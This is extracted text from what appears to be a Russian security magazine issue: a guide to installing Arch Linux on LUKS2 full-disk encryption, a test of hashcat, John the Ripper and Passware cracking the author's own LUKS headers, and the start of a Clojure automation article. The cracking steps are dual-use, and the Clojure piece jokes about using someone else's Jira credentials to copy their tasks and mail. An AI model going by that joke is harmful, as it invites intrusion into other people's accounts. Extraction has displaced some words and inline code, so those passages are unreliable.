Пос леднее,  что нуж но, — это  запако вать  все  в  новый  ISO. Читай мет ку  ста‐ 
рого .iso при помощи   или  .lsblk ‐f blkid

Вы вод коман ды lsblk ‐f

$ iso_label="ARCH_201808"
## xorriso есть в пакете libisoburn (sudo pacman ‐S libisoburn)
$ xorriso ‐as mkisofs \
  ‐iso‐level 3 \
  ‐full‐iso9660‐filenames \
  ‐volid "${iso_label}" \
  ‐eltorito‐boot isolinux/isolinux.bin \
  ‐eltorito‐catalog isolinux/boot.cat \
  ‐no‐emul‐boot ‐boot‐load‐size 4 ‐boot‐info‐table \
  ‐isohybrid‐mbr ~/customiso/isolinux/isohdpfx.bin \
  ‐eltorito‐alt‐boot \
  ‐e EFI/archiso/efiboot.img \
  ‐no‐emul‐boot ‐isohybrid‐gpt‐basdat \
  ‐output arch‐custom.iso \
  ~/customiso
$ sudo umount mnt
$ sudo rm ‐r mnt

Все готово, записы вай arch‐custom.iso на диск или флеш ку и гру зись:

$ sudo dd if=arch‐custom.iso of=/dev/xxx bs=1M status=progress

Продолжение статьи →
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ПОЛНОДИСКОВОЕ
ШИФРОВАНИЕ С LUKS2

ИЗУЧАЕМ НОВУЮ ВЕРСИЮ
ПОПУЛЯРНОГО СРЕДСТВА ШИФРОВАНИЯ
ДЛЯ LINUX И ПРОВЕРЯЕМ, МОЖНО ЛИ ЕГО

ВЗЛОМАТЬ

ПРИВАТНОСТЬ  НАЧАЛО СТАТЬИ←

Ус танов ка Arch Linux на LUKS2
Ес ли модифи кации прош ли успешно и уда лось заг рузить ся, то пер вая строч‐ 
ка на экра не сооб щит вер сию ядра.

Ус пешная заг рузка модифи циро ван ного live‐уста нов щика

Под робно  рас писывать,  как  уста нав ливать  Arch  Linux,  нет  смыс ла  —  этой
информа ции  пол но  в  интерне те.  Зат рону  глав ные  момен ты,  которые  каса‐ 
ются LUKS2 и «прик ручива ния» шиф рования в целом.

INFO

Ус танов ка про водит ся на чис тый, новый или пус‐ 
той диск, желатель но SSD. Если у тебя есть дру‐ 
гие  раз делы,  то  при дет ся  их  нюк нуть.  Так же
нужен UEFI, который, ско рее все го, твоя машин ка
под держи вает.

Ес ли  ста вишь  на  вир туал ку,  то  глав ное —  вклю чить  под дер жку  EFI  и  проб‐ 
росить флеш ку.

Нас трой ки EFI для VirtualBox

Нас трой ки USB для VirtualBox

WARNING

Дан ные  ОПАС НОСТЕ!!1  Единс твен ный  спо соб
рас шифро вать  их  —  это  ключ‐файл  на  флеш ке.
Выбирай  понадеж ней  или  оставь  воз можность
ввес ти пароль.

Что бы  в  один  прек расный  день  не  лишить ся  дан ных  из‐за  испорчен ной
или  уте рян ной  флеш ки,  сра зу  добав лю  воз можность  откры вать  пароль ной
фра зой.  Из‐за  это го  у  меня  будут  задей ство ваны  два  сло та  в  заголов ке:
пароль (слот 0) и ключ‐файл (слот 1), который я добав лю потом. Если любишь
риск, то можешь пароль ный слот унич тожить пос ле добав ления фай ла.

То поло гия дис ка у меня:
 — раз дел для обра зов .efi, не зашиф рован, FAT32;• /dev/sda1

 — раз дел  , зашиф рован, LUKS1;• /dev/sda2 /boot

 —  , зашиф рован, LUKS2.• /dev/sda3 /

GPT —  таб лица  раз делов.  Отдель ный    нужен,  как  ты  пом нишь,  из‐за
того, что заг рузчи ки пока не уме ют откры вать LUKS2. По боль шому сче ту мож‐ 
но изба вить ся от   и хра нить образ GRUB в фай ле .efi на той же флеш ке:
для  это го  нуж но  соз дать  раз дел  с  FAT  ( )  и  вспом нить
кое‐какие допол нитель ные клю чи ( ) для  .

/boot

sda1
по  спе цифи кации UEFI

‐‐removable grub‐install
Смот рю диск:

root@archiso ~ # fdisk ‐l      
Disk /dev/sda: 119.2 GiB, 128035676160 bytes, 250069680 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: BA18A20B‐089C‐47EC‐A88C‐096FE6A5A7EE
Device      Start      End  Sectors  Size Type
/dev/sda1    2048   411647   409600  200M EFI System
/dev/sda2  411648   821247   409600  200M Linux filesystem
/dev/sda3  821248 21792767 20971520   10G Linux filesystem

И соз даю LUKS2 на  :/dev/sda3

$ cryptsetup luksFormat ‐‐type luks2 ‐‐pbkdf argon2id ‐‐cipher 
aegis256‐random ‐‐integrity aead ‐‐integrity‐no‐journal /dev/sda3

Что бы исполь зовать кон троль целос тнос ти дан ных ( ), на устрой‐ 
ство сна чала нуж но записать кон троль ные сум мы. Поэто му, если у тебя боль‐ 
шой диск, при дет ся запас тись тер пени ем.

‐‐integrity

Под готов ка устрой ства

А  вот  срав нение  ско рос ти  работы  алго рит мов  на  SSD,  при веден ное  раз‐ 
работ чиками. Линей ная запись и чте ние.

Гра фики срав нения ско рос ти алго рит мов

В  качес тве  PBKDF  я  исполь зую  Argon2id.  Если  уста нов ка  идет  на  одном
железе, а сис тема будет исполь зовать ся на дру гом, то допол нитель но мож но
ука зать,  сколь ко  памяти,  про цес сорных  потоков  и  ите раций  исполь зовать.
Клю чи:

;• ­­pbkdf­memory <number>

;• ­­pbkdf­parallel <number>

.• ­­pbkdf­force­iterations <num>

Ес ли не ука зывать их, то будет про веден бен чмарк текуще го железа и циф ры
взя ты отту да.

Шифр  —  aegis256‐random.  Для  LUKS2  дос тупны  сле дующие  алго рит мы
AEAD:

aegis128‐random;•
aegis256‐random;•
morus640‐random;•
morus1280‐random.•

Суф фикс    здесь  ука зыва ет  на  век тор  ини циали зации.  Более  под‐ 
робное срав нение смот ри в спе цифи кации и магис тер ской дис серта ции.

‐random

Как  вид но  из  гра фиков,  жур нал  умень шает  ско рость,  поэто му  отклю чаю
его. На ноут буке он, в прин ципе, не нужен, так как вне зап ная потеря питания
в боль шинс тве слу чаев ему не гро зит.

Смот рю, что получи лось, и откры ваю:

$ cryptsetup luksDump /dev/sda3
$ cryptsetup open /dev/sda3 crypto_root
$ lsblk ‐f

Со дер жимое заголов ка LUKS2

То самое эму лиро ван ное про межу точ ное устрой ство crypto_root_dif, с допол‐ 
нитель ным  мес том  под  метадан ные.  Для  поль зовате ля  оно  проз рачно,
и  работа  про ходит  с  обыч ным  блоч ным  устрой ством,  в  дан ном  слу чае
crypto_root.

Но вое, эму лиро ван ное устрой ство с кон троль ными сум мами

Под готов лю раз дел   в LUKS1 и так же открою его:/boot

$ cryptsetup luksFormat ‐h whirlpool ‐i 5555 /dev/sda2
$ cryptsetup luksDump /dev/sda2
$ cryptsetup open /dev/sda2 crypto_boot

Тут ничего нового: любимая хеш‐фун кция и чуть боль ше ите раций.

За голо вок LUKS1

Окей, раз делы готовы. Обра ти вни мание: пос ле откры тия я работаю 
с эму лиро ван ными устрой ства ми   и 

, а не с физичес кими   и  .

толь ко

/dev/mapper/crypto_boot /dev/mapper/
crypto_root /dev/sda2 /dev/sda3

Соз даю фай ловые сис темы:

$ mkfs.vfat ‐F32 ‐n "ESP" /dev/sda1
$ mkfs.ext2 ‐L "arch_boot" /dev/mapper/crypto_boot
$ mkfs.ext4 ‐L "arch_root" /dev/mapper/crypto_root

Мон тирую:

$ mount /dev/mapper/crypto_root /mnt
$ mkdir /mnt/boot
$ mount /dev/mapper/crypto_boot /mnt/boot
$ mkdir /mnt/boot/efi
$ mount /dev/sda1 /mnt/boot/efi

Всег да исполь зуй толь ко све жие зер кала:

## Переименовать список старых
$ mv /etc/pacman.d/mirrorlist{,.old}
## Скачать новые
## FR в ссылке можешь заменить на код своей страны или той, что рядом
$ curl ‐q ‐sSL 'https://archlinux.org/mirrorlist/?country=FR&
protocol=https' | sed ‐e 's/^#S/S/g' >/etc/pacman.d/mirrorlist

Для  аутен тифика ции  по  флеш ке  нуж но  добавить  допол нитель ный  ключ.  Ты
можешь  сде лать  его  из  пос ледова тель нос ти  битов  на  ней  и  ука зать  GRUB
исполь зовать  их  при  помощи  сле дующе го  парамет ра  ядра: 

, где
cryptkey=de‐

vice:offset:size
 — блоч ное устрой ство, на котором хра нит ся ключ;• device

 — сме щение, по которо му счи тывать бай ты;• offset

 — сколь ко бай тов счи тать.• size

В качес тве   мож но исполь зовать как  , так и  . Нап ример,device /dev/sdX UUID=

cryptkey=/dev/sda:0:512

или

cryptkey=UUID=1234‐5678:0:512

В моем слу чае это будет обыч ный файл. Поэто му вос поль зуюсь нем ного дру‐ 
гим фор матом:   и прос то ука жу путь к нему.cryptkey=device:fstype:path

 — тип фай ловой сис темы, мож но исполь зовать  ;• fstype auto

 — путь к фай лу.• path

Ес ли  флеш ка  чис тая,  без  раз делов,  то  при дет ся  их  соз дать.  Какую  имен но
фай ловую  сис тему  исполь зовать —  дело  твое.  Для  эко номии  вре мени  вос‐ 
поль зуюсь уста новоч ной флеш кой. Соз дам дирек торию и при мон тирую в нее:

$ mkdir /flash
$ mount /dev/sdb2 /flash

Про вер ка раз делов флеш ки и мон тирова ние

Сге нери рую ключ‐файл:

$ dd if=/dev/urandom of=/flash/root_key.bin bs=1024 count=2

WWW

  и    для  тех,  кто
дума ет, что чуть выше я совер шил акт кощунс тва.
Статья ин терес ное  обсужде ние

До бав лю ключ:

$ cryptsetup luksAddKey ‐‐pbkdf argon2id /dev/sda3 /flash/root_key.
bin

Экс тре малы могут уда лить пароль ный слот коман дой 
, где 0 — номер сло та.

cryptsetup luksKill‐
Slot /dev/sda3 0

Все готово к уста нов ке:

$ pacstrap /mnt base base‐devel vim grub efibootmgr dialog wpa_su
pplicant

Ге нери рую fstab:

$ genfstab ‐U /mnt >> /mnt/etc/fstab

Да лее буду про водить нас трой ки сис темы изнутри. Для это го исполь зую ch‐
root:  .  Пер вым  делом — GRUB.  В фай ле 

 рас коммен тируй   и замени стро ки
arch‐chroot  /mnt /etc/default/

grub GRUB_ENABLE_CRYPTODISK=y

GRUB_CMDLINE_LINUX_DEFAULT="quiet"
GRUB_CMDLINE_LINUX=""

на вот такие:

GRUB_CMDLINE_LINUX_DEFAULT="verbose"
GRUB_CMDLINE_LINUX="cryptdevice=UUID=7a40a90f‐2533‐41e0‐bb94‐fd30f4
026544:crypto_root cryptkey=UUID=5F6A‐991B:auto:/root_key.bin root=/
dev/mapper/crypto_root"

Об рати  вни мание,  что   —  одна  стро ка,  никаких
перено сов нет.

GRUB_CMDLINE_LINUX="..."

Кон фиг /etc/default/grub

Иден тифика торы UUID смот ри через  .# blkid

Спи сок UUID дос тупных в сис теме блоч ных устрой ств

При мер ная схе ма работы:
1. GRUB зап росил пароль от раз дела  ./boot

2. Па роль  под ходит?  Открыл,  про читал  его,  нашел  initramfs,  передал  ему
управле ние.

3. За кон чил работу, все зак рыл и забыл.

Па раметр  ядра    ука зыва ет
initramfs,  где  взять  ключ  от    —  кор невого  раз дела  (LUKS2).  Если  флеш ка
недос тупна,  он об  этом сооб щит  и  зап росит  пароль.  А  если  ты  уда лил  слот
с паролем, то заг рузить ся не получит ся.

cryptkey=UUID=5F6A‐991B:auto:/root_key.bin
/

Файл    работа ет  схо жим  с    обра зом,  толь ко
для  зашиф рован ных  дис ков.  В  нем  ука зыва ются  все  раз делы  (кро ме  кор‐ 
невого),  которые  дол жны  быть    при  заг рузке  сис темы.  Кон фиг

  чита ется  перед  ,  но  авто мон тирова ние  (уже  откры тых)  раз‐ 
делов  про изво дит  вто рой.  Таким  обра зом,    —  это  то,  что  нуж но
для  откры тия    во  вре мя  заг рузки  сис темы,  так  как  GRUB,  передав
управле ние initramfs, его зак рыл и забыл все клю чи.

/etc/crypttab /etc/fstab

от кры ты

crypttab fstab
crypttab

/boot

Что бы не вво дить пароль от него дваж ды (для GRUB и для crypttab), соз‐ 
дай и добавь ключ‐файл и для раз дела  :/boot

$ mkdir /root/keys
$ dd if=/dev/urandom of=/root/keys/boot_key.bin bs=1024 count=2
$ chmod ‐R 0 /root/keys/

До бав ляй, как обыч но:

$ cryptsetup luksAddKey /dev/sda2 /root/keys/boot_key.bin

Про верим, появил ся ли новый слот с фай лом‐клю чом

И теперь исполь зуй его для авто мати чес кого откры тия. В конец 
 допиши:

/etc/crypt‐
tab

crypto_boot UUID=4d053fc0‐ded6‐4390‐9e7c‐a8abfa503cd5 /root/keys/
boot_key.bin luks,timeout=15

При мер моего crypttab

Для  боль шей  надеж ности  переп роверь  UUID  в  .  Для  кор невого
раз дела и  для    они  дол жны  соот ветс тво вать    и 

, а не   и  .

/etc/fstab
/boot crypto_root crypto_‐

boot sda2 sda3

За писи автосге нери рован ного fstab

Ос талось  добавить  ком понен ты  для  initramfs  с  помощью  скрип та mkinitcpio.
Для это го под редак тируй файл   и в стро ку/etc/mkinitcpio.conf

HOOKS=(base udev autodetect modconf block filesystems keyboard fsck)

до бавь  , что бы получи лосьencrypt

HOOKS=(base udev autodetect modconf block encrypt filesystems 
keyboard fsck)

В   допиши   и  :MODULES=() dm_integrity vfat

MODULES=(dm_integrity vfat)

Ина че при заг рузке получишь ошиб ку Kernel doesn’t support dm‐integrity map‐
ping. Модуль vfat нужен, так как раз дел флеш ки с клю чом — в FAT.

Пе ресо бери initramfs:

$ mkinitcpio ‐p linux

Ус пешный перес бор initramfs

Пос леднее,  что  нуж но  сде лать,  —  это  уста новить  GRUB  и  сге нери ровать
для него .cfg‐файл коман дами

$ grub‐install ‐‐target=x86_64‐efi ‐‐efi‐directory=/boot/efi ‐‐bootlo
ader‐id=crypto_arch
$ grub‐mkconfig ‐o /boot/grub/grub.cfg

GRUB успешно уста новил ся

## Задай пароль для root
$ passwd
## Выйди из chroot
$ exit
## Отмонтируй все
$ umount ‐R /mnt
## Последний раз все проверь и пиши
$ reboot

Поз драв ляю, твой све жий Arch Linux уста нов лен на раз дел LUKS2 с вклю чен‐ 
ным кон тро лем целос тнос ти дан ных!

Па роч ка топор ных тес тов ско рос ти дешево го SSD.

За пись и чте ние на шиф рован ном раз деле

За пись и чте ние на нешиф рован ном раз деле

Продолжение статьи →

http://www.uefi.org/sites/default/files/resources/UEFI%202_5.pdf#page=536
https://www.2uo.de/myths-about-urandom/
https://unix.stackexchange.com/questions/324209/when-to-use-dev-random-vs-dev-urandom#324210


ПОЛНОДИСКОВОЕ
ШИФРОВАНИЕ С LUKS2

ИЗУЧАЕМ НОВУЮ ВЕРСИЮ
ПОПУЛЯРНОГО СРЕДСТВА ШИФРОВАНИЯ
ДЛЯ LINUX И ПРОВЕРЯЕМ, МОЖНО ЛИ ЕГО

ВЗЛОМАТЬ

ПРИВАТНОСТЬ  НАЧАЛО СТАТЬИ←

ПРОВЕРКА НА ПРОЧНОСТЬ
Это  все  замеча тель но,  но,  если  твой  диск  попадет  в  руки  зло умыш ленни ку,
нас коль ко тяжело (или лег ко) тому будет дос тать дан ные? Сей час про верим.

Сто ит  понимать,  что  есть  мно жес тво  спо собов  похитить  нуж ную  инфу.
LUKS  защища ет  дан ные  в  офлай не  —  то  есть  диск  (раз дел,  кон тей нер)
или  зак рыт,  или отклю чен от  питания  вов се. Ины ми сло вами,  не думай,  что,
уста новив  LUKS,  ты  вол шебным  обра зом  нав сегда  обе зопа сишь  дан ные.
Если оставля ешь компь ютер без прис мотра с откры тым раз делом или пароль
записан на сти кере, то изви ни: никакой LUKS тут не поможет.

Для тес тов я выб рал четыре про дук та: два откры тых и два ком мерчес ких.
Откры тые — это   и  . Из ком мерчес ких я знаю про дукт

, но он не под держи вает даже LUKS1, поэто му сра зу отпа дает. Вто‐ 
рой  най ден ный  мной  вари ант —  это  .  Никог да  не  слы шал  об  этой
кон торе, нашел через поис ковик. Спи сок кли ентов серь езный: NASA, минис‐ 
терс тва обо роны и юсти ции США и дру гие.

John  the Ripper hashcat
ElcomSoft

Passware

Все инс тру мен ты под держи вают GPU. Фер мы для май нин га, к сожале нию
(или к счастью), у меня нет, и в качес тве GPU исполь зовалась моя GTX 1050
Ti.  Пос мотрим,  что  может  эта  ста руш ка  про тив  LUKS  и  LUKS2.  Для  взло ма
не  нужен  диск  или  раз дел  пол ностью,  дос таточ но  заголов ка.  Извле каю  их
на флеш ку:

$ cryptsetup luksHeaderBackup /dev/sda2 ‐‐header‐backup‐file /flash/
boot_header.bin
$ cryptsetup luksHeaderBackup /dev/sda3 ‐‐header‐backup‐file /flash/
root_header.bin

John the Ripper

Ин форма ция о JtR

Став лю све жую вер сию и смот рю, что есть в арсе нале:

$ ./john ‐‐list=formats ‐‐format=opencl | grep ‐i luks

Нет вывода. Окей, как нас чет CPU?

$ ./john ‐‐list=formats ‐‐format=cpu | grep ‐i luks
lotus5, lotus85, LUKS, MD2, mdc2, MediaWiki, monero, money, MongoDB, 
scram,

Что поделать, при дет ся доволь ство вать ся CPU. Про бую:

$ ./luks2john.py /tmp/boot_header.bin

JtR не под держи вает фор мат XTS

Как  вид но  из  скрин шота,  даже  фор мат  AES‐XTS  не  под держи вает ся,
LUKS2 нет смыс ла про бовать. Это было быс тро, идем даль ше.

hashcat
$ ./hashcat ‐‐version
v4.2.1‐25‐gfe04ccc1
$ ./hashcat ‐‐help | grep ‐i luks
 14600 | LUKS                                             | 

Full‐Disk Encryption (FDE)

Есть толь ко LUKS пер вой вер сии. Хотя бы уме ет работать с AES‐XTS, про веду
бен чмарк:

$ ./hashcat ‐m 14600 ‐b ‐‐quiet
Hashmode: 14600 ‐ LUKS (Iterations: 163044)
Speed.Dev.#1.....:     3157 H/s (22.86ms) @ Accel:2 Loops:1024 Thr:
1024 Vec:1
Started: Wed Aug 22 21:41:42 2018
Stopped: Wed Aug 22 21:42:01 2018

3  217  хешей  в  секун ду  для  163  044  ите раций  —  неп лохо.  У  меня
выходит 2 941 833 для пароль ного сло та и 2 137 768 для фай ла  (если пос‐ 
мотреть на скрин шот luksDump).

Для hashcat недос таточ но прос то сде лать luksHeaderBackup,   писатьнуж но

$ dd if=/dev/XXXX of=header.luks bs=512 count=4097

Все шло хорошо, но тут меня ждал сюр приз в виде ошиб ки 
.  Как  ока залось,  hashcat

не под держи вает хеш‐фун кцию whirlpool. Иног да нуж но читать доки до кон ца.
На той же стра нице форума англий ски ми бук вами написа но:

hashcat/OpenCL/
m14651‐pure.cl:  No  such  file  or  directory

There’s two things missing (at the moment) in order to make hashcats 
LUKS support "full featured":
   Support for Keyfiles
   Support for Whirlpool

Что бы не переби вать раз дел    с  исполь зовани ем  дефол тной SHA‐256,
соз дам  отдель ный  крип токон тей нер  и  возь му  заголо вок  с  него,  от  это го
ничего не поменя ется.

/boot

## Создам файл
$ truncate ‐s 100M sha_container
## Сделаю из него криптоконтейнер
$ cryptsetup luksFormat ‐i 5555 sha_container

И  еще  очень  важ ная  деталь:  в  кон тей нере  дол жна  быть фай ловая  сис тема,
ина че пароль не под берет ся никог да, даже если он есть в спис ке. Это тоже
упо мина ется на форуме по ссыл ке выше.

## Открою
$ sudo cryptsetup open sha_container sha_cont
## Создам ФС
$ mkfs.ext4 /dev/mapper/sha_cont
## Закрою
$ sudo cryptsetup close /dev/mapper/sha_cont
## Извлекаю заголовок
$ dd if=sha_container of=sha_header_hashcat.bin bs=512 count=4097

В этом заголов ке дру гое количес тво ите раций — 9 756 846.

$ cryptsetup luksDump sha_header_hashcat.bin 
LUKS header information for sha_header_hashcat.bin
Version:        1
Cipher name:    aes
Cipher mode:    xts‐plain64
Hash spec:      sha256
Payload offset: 4096
MK bits:        256
MK digest:      f6 f7 78 2e 00 be 93 6a d9 01 c1 d6 12 d2 1f 28 58 
e5 52 e9 
MK salt:        b2 0b 2f bd 4b cb d6 38 b3 71 45 48 62 e0 2f e6 
               ea 84 16 c3 28 c7 ba 5d 5a ad 16 37 26 61 e5 c0 
MK iterations:  220288
UUID:           cf458e89‐9e5a‐4fa8‐bf1c‐ee9045bc4d5d
Key Slot 0: ENABLED
 Iterations:           9756846
 Salt:                 5b 7c 16 4b d4 b5 a8 eb da 6c d4 ea f8 2c 32 

6c 
                         01 0c ed c1 3e 0d 87 14 5d d8 e0 d6 ce fb 
b2 ab 
 Key material offset:  8
 AF stripes:             4000

Про бую и вижу один хеш в минуту и четыре секун ды:

$ ./hashcat ‐m 14600 ‐a 0 sha_header_hashcat.bin pwdd
Session..........: hashcat
Status...........: Exhausted
Hash.Type........: LUKS
Hash.Target......: sha_header_hashcat.bin
Time.Started.....: Wed Aug 22 22:56:35 2018 (1 min, 4 secs)
Time.Estimated...: Wed Aug 22 22:57:39 2018 (0 secs)
Guess.Base.......: File (pwdd)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:        0 H/s (0.40ms) @ Accel:2 Loops:64 Thr:512 
Vec:1
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 1/1 (100.00%)
Rejected.........: 0/1 (0.00%)
Restore.Point....: 1/1 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0‐1 Iteration:9756800‐9756845
Candidates.#1....: 112233 ‐> 112233
HWMon.Dev.#1.....: Temp: 35c Fan: 45% Util: 96% Core:1860MHz Mem:
3504MHz Bus:8

Наб люда ется проб лема: hashcat начина ет переби рать количес тво ите раций,
пока  не  дой дет  до  нуж ного,  а  не  чита ет  его  пря мо  с  заголов ка.  Дела ет  он
это для  каж дого пароля в фай ле, поэто му  тест для одно го пароля занима ет
дол гое вре мя.

Passware
Из дос тупных на сай те про дук тов я выб рал Passware Kit Forensic, пол ная вер‐ 
сия  сто ит  995 дол ларов. Взял  три алку,  в  которой  вре мя  взло ма огра ниче но
одной минутой.  В  прин ципе,  это го  дол жно  хва тить,  что бы  оце нить  ско рость
работы. Запус каю, смот рю спи сок дос тупных фор матов FDE.

Под держи ваемые Passware фор маты FDE

Есть LUKS1, нет LUKS2, про бую.

Passware не под держи вает whirlpool

Си туация та же, что и с hashcat, — нет под дер жки whirlpool. Беру крип токон‐ 
тей нер  с  SHA‐256,  добав ляю  брут форс‐ата ку.  Чтоб  сок ратить  вре мя  ожи‐ 
дания до миниму ма, явно ука зываю   и дли ну пароля.толь ко циф ры

Ме тод гру бой силы в Passware

В резуль тате получаю три над цать паролей в минуту. Если верить прог рамме,
брут форс шес тизнач ного циф рового пароля зай мет месяц и 26 дней.

Ско рость взло ма LUKS1 в Passware

Ито ги
На ивно было наде ять ся,  что фор мат,  который сей час на  ста дии пос тоян ной
доработ ки,  будет  под держи вать ся  хоть  каким‐нибудь  про дук том.  На  его
реали зацию  нуж но  пот ратить  вре мя  и  ресур сы,  а  спе цифи кация  фор мата
может изме нить ся в сле дующем релизе.

Уди вило  отсутс твие  под дер жки  whirlpool  —  он‐то  в  LUKS  есть  дав но.
Видимо, раз работ чики решили не парить ся и пред почли под держать  толь ко
умол чатель ный вари ант.

По  резуль татам  вид но,  что  стан дар тная  PBKDF2  неп лохо  справ ляет ся
с задачей. Воз можно, перед парой сотен или тысяч GPU она не усто ит, но для
это го есть новый Argon2.

EXIT()
Ра дует энту зиазм раз работ чиков: они дела ют сов ремен ную крип ту дос тупной
каж дому и бес плат но. LUKS2 — инте рес ный фор мат с кучей фишек. К сожале‐ 
нию, слож ность кон фигура ции и отсутс твие под дер жки со сто роны заг рузчи‐ 
ков замед ляет его появ ление на сце не. Исполь зовать его с вклю чен ным кон‐ 
тро лем целос тнос ти дан ных сто ит толь ко на SSD.

Прой дет  нес коль ко  лет,  пока  LUKS2  окрепнет  и  смо жет  пол ностью
заменить  сво его  пред шес твен ника.  Это  было  с  фай ловыми  сис темами  ext
и дол жно про изой ти с LUKS2. Что до LUKS1, то он по‐преж нему хорош и пока
что никуда не ухо дит. Прек ращать его под дер жку не намеча ется, поэто му нет
поводов для бес покой ства.

WWW
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with Full Disk Encryption Extended Version

•Спе цифи кация LUKS2 on‐disk format
•Optimizing  authenticated  encryption  algorithms.
Master’s Thesis

•Argon2

http://www.openwall.com/john/
https://hashcat.net/hashcat/
https://www.elcomsoft.com/
https://www.passware.com/
https://hashcat.net/forum/thread-6225.html
https://gitlab.com/cryptsetup/cryptsetup/wikis/DMIntegrity
https://archive.fosdem.org/2018/schedule/event/cryptsetup/attachments/slides/2506/export/events/attachments/cryptsetup/slides/2506/fosdem18_cryptsetup_aead.pdf
https://arxiv.org/pdf/1807.00309.pdf
https://gitlab.com/cryptsetup/cryptsetup/blob/master/docs/on-disk-format-luks2.pdf
https://is.muni.cz/th/qvh3t/masters-thesis.pdf
https://password-hashing.net/submissions/specs/Argon-v3.pdf
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ТРЮКИ

Язык  прог рамми рова ния    исполь‐ 
зует ся  такими  open  source  про екта ми,
как  ,  ,  ,

,  стар тапами  и  некото рыми  круп‐ 
ными  .  В  Positive  Technologies
мы решили поп робовать при менить Clojure
как плат форму для базовой авто мати зации
про цес сов  управле ния  раз работ кой  прог‐ 
рам мно го  обес печения,  но  что‐то  пош ло
не так: про ект по авто мати зации стал боль‐ 
шим и опен сор сным.

Clojure

NASA  CMR Cisco  Threat  Grid CircleCI
Jepsen

ком пани ями

WWW

TL;DR:
https://github.com/PositiveTechnologies/flower

ЗАЧЕМ ОНО ТИМЛИДУ
Я — один  из  тим лидов  в  коман де  раз работ ки PT Application  Firewall,  защит‐ 
ного экра на уров ня при ложе ний. В один прек расный момент раз мер коман ды
пре высил кри тичес кий порог, ког да мож но делать руками всю свою рутин ную
работу, и я начал писать авто мати зиро ван ную сис тему, которая уме ла бы вза‐ 
имо дей ство вать с поч той, тре кера ми задач и сис темами кон тро ля вер сий. Я
наз вал ее «авто мати чес кий тим лид».

Рас пре деле ние задач — одна из рутин ных про цедур, которую лег ко авто‐ 
мати зиро вать,  если  в  коман де  сущес тву ет мат рица  ком петен ций:  наз начить
исполни теля  в  зависи мос ти от  заголов ка  задачи или ее  ком понен та мож но,
если уметь прог рам мно читать задачу с таск‐тре кера и обновлять некото рые
поля  в  ней. Ана логич ная исто рия с  авто мати чес ким наз начени ем по набору
кри тери ев ответс твен ного про веря юще го в пулл‐рек вест в сис теме кон тро ля
вер сий для рецен зирова ния исходно го кода.

В  ито ге,  конеч но,  авто мати чес кий  тим лид  был  раз делен  на  биз нес‐логику
и  общую  биб лиоте ку  интегра ций  (я  наз вал  ее  Flower).  О  пос ледней  давай
и погово рим.

ЗАЧЕМ ОНО ВООБЩЕ ВСЕМ
За чем мне понадо билось такое прог рам мное обес печение, в целом понят но,
но зачем же оно может понадо бить ся тебе?

До пус тим,  по  счас тли вому  сте чению  обсто ятель ств,  у  тебя  есть  учет ные
дан ные неко его поль зовате ля  Jira. Очень  хочет ся  на память  сох ранить пару
тысяч задач это го поль зовате ля (а заод но и всю его поч ту), что бы раз вле кать‐ 
ся  серыми  осен ними  вечера ми,  почиты вая  занима тель ные  ком мента рии.
Почему бы не сде лать это, написав все го три строч ки кода?

Или ты менед жер про екта по раз работ ке прог рам мных про дук тов и решил
устро ить  сво им  прог раммис там  пол ный  KPI,  замеряя  про изво дитель ность
людей  в  условных  пулл‐рек вестах  на  задачу.  Собирать  ста тис тику  с  двух
и более раз ных сис тем одновре мен но тоже мож но без тех ничес ких проб лем.

Как вари ант, ты жела ешь перенес ти все задачи из GitLab и Jira на GitHub
(потому что твой про ект рез ко стал опен сор сным), а заод но нас тро ить авто‐ 
мати чес кую  пересыл ку  сооб щений  из  поч ты  в  Slack.  И  даже  это  дела ется
не очень слож но!

ПОЧЕМУ CLOJURE
Пер вый  воп рос,  который  мож но  было  бы  мне  задать,  зву чит  при мер но  так:
почему ты не выб рал Python, ведь ты с ним зна ком десяток лет и он име ет все
необ ходимые биб лиоте ки интегра ций? Не име ет. Име ет, конеч но, но не все
работа ет  так  глад ко,  как  SDK  на  Java,  соз данный  раз работ чиками  сис тем,
с которы ми мы интегри руем ся. А в некото рых слу чаях еще и не хва тает мно‐ 
гопо точ ности.  Тут  нуж но  заметить,  что  для  пер воначаль ного  про тоти па  я,
конеч но же, и выб рал Python, а точ нее HyLang (Lisp на его сте ке), но в ито ге
решил вни матель нее прис мотреть ся к JVM.

И вто рой оче вид ный воп рос — почему вооб ще Lisp? Потому что, нас коль‐ 
ко мне извес тно, луч ший спо соб соз дать свой DSL, не изоб ретая новый син‐ 
таксис, —  взять  Lisp,  про верен ный  вре менем  язык  с  пре фик сной  нотаци ей
и  веселы ми  ско боч ками  (на  самом  деле  это  называ ется  S‐выраже ния),  и,
исполь зуя мак росы, обо гатить его до домена исполь зования.

Со вокуп ность  этих  двух  фак торов  и  побуди ла  меня  выб рать  Clojure
как язык прог рамми рова ния и плат форму для интегра ций с раз личны ми сис‐ 
темами.

При мер при ложе ния, исполь зующе го биб лиоте ку Flower

SHOW ME THE CODE
Что бы начать писать на Clojure свой скрипт или даже целую сис тему, исполь‐ 
зующую  Flower,  необ ходимо  для  начала  уста новить    (для  Windows
в  некото рых  слу чаях  это  может  ока зать ся  нем ного  нет риви аль ной  задачей,
поэто му рекомен дую взять любую *nix‐сис тему). Если ты вдруг не зна ешь Clo‐
jure, то рекомен дую кни гу   — иде аль ное пособие
для осво ения язы ка за пару вечеров.

Leiningen

Clojure for the Brave and True

Что бы начать новый про ект на базе Flower, мож но вос поль зовать ся шаб‐ 
лоном, наб рав в тер минале

lein new flower my‐new‐flower‐app

При этом в файл   в соз данной дирек тории про екта будет добав‐ 
лена  зависи мость   —  это  метапа кет,  содер жащий  поч ти
все необ ходимое. Для тес тового при ложе ния он нам впол не подой дет.

project.clj
[flower  "0.4.3"]

Да вай  теперь  напишем  наше  при ложе ние.  В  качес тве  подопыт ной  сис‐ 
темы кон тро ля вер сий и тре кера задач вос поль зуем ся GitHub.

Для  аутен тифика ции  нам  понадо бит ся  добавить 
,  что бы  иметь  воз можность  делать  изме нения  и  не  быть  огра ничен‐ 

ными рей том зап росов. Добавь сге нери рован ный для сво ей учет ной записи
токен  вмес то  звез дочек  в файл    в  домаш ней дирек тории
поль зовате ля ( ) в сле дующем фор мате:

то кен  поль зовате ля
GitHub

.credentials.edn
~/.credentials.edn

